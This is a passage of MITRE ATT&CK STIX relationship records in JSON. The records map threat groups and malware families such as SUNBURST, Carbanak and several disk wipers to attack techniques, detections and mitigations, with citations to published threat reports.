31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:23:45.005Z","description":"[TA577](https://attack.mitre.org/groups/G1037) has sent thread hijacked messages from compromised emails.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d8f14118-ba84-44b0-a0b6-ad2348e42906","created":"2022-06-28T14:54:51.493Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [IceApple](https://attack.mitre.org/software/S1022) Result Retriever module can AES encrypt C2 responses.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-28T14:54:51.493Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8f527e3-a86a-431c-9110-b092343269bc","type":"relationship","created":"2019-01-30T15:19:15.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.262Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can collect host IP information from the victim’s machine.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) contains keylogger functionality.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8f8b444-25e9-41e2-9216-f6debe873908","created":"2024-09-16T09:19:36.676Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:19:36.676Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used infrastructure hosted behind Cloudflare or utilized Cloudflare Workers for command and control.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8f956ea-84ef-4232-b281-59c40f019753","created":"2023-03-26T20:01:39.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.088Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can store its obfuscated configuration file in the Registry under `HKLM\\SOFTWARE\\Plus` or `HKCU\\SOFTWARE\\Plus`.(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8f9ad2e-1548-45b8-9539-4692add2c0fe","created":"2024-05-22T22:49:36.835Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:49:36.835Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) opens a handle to \\\\\\\\\\\\\\\\.\\\\\\\\PhysicalDrive0 and wipes the first 512 bytes of data from this location, removing the boot sector.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9089fda-0f17-43d2-bd5b-b9cd441bb4e2","type":"relationship","created":"2021-01-06T16:56:56.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."}],"modified":"2021-01-06T16:56:56.275Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) collected the username from a compromised host.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d90f6beb-0936-40ca-b38c-269094d4ed02","created":"2022-09-30T20:02:55.562Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:02:55.563Z","description":"[Misdat](https://attack.mitre.org/software/S0083) has attempted to detect if a compromised host had a Japanese keyboard via the Windows API call `GetKeyboardType`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d910654b-9ebe-439e-b6f9-a8234bad7961","type":"relationship","created":"2021-09-30T20:20:27.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T20:20:27.758Z","description":"[ProLock](https://attack.mitre.org/software/S0654) can use CVE-2019-0859 to escalate privileges on a compromised host.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d91ceccf-8a53-4a99-a71d-b471f58eaf05","created":"2024-07-01T20:41:14.160Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:41:14.160Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can split exfiltrated data that exceeds 1.33 MB in size into multiple random sized parts between 384 and 512 KB.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9229489-4c85-4125-945f-6081f2f99f43","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor executed commands and arguments for actions that could be taken to remove or overwrite system logs.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5","type":"relationship","created":"2017-05-31T21:33:27.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Wolf"}],"modified":"2019-04-29T18:01:20.686Z","description":"(Citation: FireEye Clandestine Wolf)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d92510c1-43d7-4b4c-b3a1-cf7ae0387737","created":"2024-09-25T15:20:11.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:39:51.697Z","description":"\n[Play](https://attack.mitre.org/groups/G1040) has used Remote Desktop Protocol (RDP) and Virtual Private Networks (VPN) for initial access.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d927e540-e6b8-4ddb-8652-cd510fe285ed","type":"relationship","created":"2020-10-27T20:09:13.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T20:09:13.111Z","description":"(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d92971eb-3ac4-4019-bbb3-dec4a2c6cb18","type":"relationship","created":"2021-09-29T12:17:34.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:17:37.126Z","description":"Data loss prevention can restrict access to sensitive data and detect sensitive data that is unencrypted.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9297dfb-9b0b-421d-a5f6-05619c778953","created":"2024-05-22T21:58:09.981Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:58:09.981Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) opens and writes zeroes to the first 512 bytes of each drive, deleting the MBR. [DEADWOOD](https://attack.mitre.org/software/S1134) then sends the control code IOCTL_DISK_DELETE_DRIVE_LAYOUT to ensure the MBR is removed from the drive.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d92cf7e9-db9f-486c-a8e6-6018ad3d3959","created":"2024-08-09T19:55:58.521Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T19:55:58.521Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can time stomp its executable, previously dating it between 2010 to 2021.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d92f4be1-6745-45a2-bfbb-c4cb227682d2","type":"relationship","created":"2021-09-21T15:16:40.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:04:48.927Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9302591-bba1-420e-96ac-401304d37258","type":"relationship","created":"2020-03-30T18:46:58.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"},{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-30T18:46:58.141Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) encodes the message body of HTTP traffic with Base64.(Citation: Kaspersky Carbanak)(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d93265a6-1f92-472b-9e47-48b7863d8171","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2019-03-25T16:57:02.775Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) has used credential dumping tools.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9338b91-b07b-4ea1-9e2f-4fe06e58ce62","type":"relationship","created":"2020-04-28T12:47:25.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."},{"source_name":"Dragos Threat Report 2020","url":"https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770","description":"Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021."}],"modified":"2021-04-12T12:44:34.322Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to take screen captures.(Citation: Talos PoetRAT April 2020)(Citation: Dragos Threat Report 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9346357-5c7a-4df3-998f-3ca6866bf877","type":"relationship","created":"2021-03-18T15:57:10.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-18T15:57:10.041Z","description":"(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9360852-584e-4980-9f9b-f56193bd3fc0","created":"2021-02-08T22:05:36.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"},{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"},{"source_name":"Symantec WastedLocker June 2020","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:42:09.378Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has downloaded additional scripts, malware, and tools onto a compromised host.(Citation: Crowdstrike Indrik November 2018)(Citation: Symantec WastedLocker June 2020)(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d93afa70-d5ce-41f4-a6ff-f953e2de998a","created":"2024-09-17T18:20:19.271Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T18:20:19.271Z","description":"[TA578](https://attack.mitre.org/groups/G1038) has used Google Firebase to host malicious scripts.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--a5cfbc79-316c-42f2-915d-6e8fef4085f8","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d93b7c7b-e4b2-416c-9122-6f687642ce6e","created":"2023-09-05T17:45:22.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 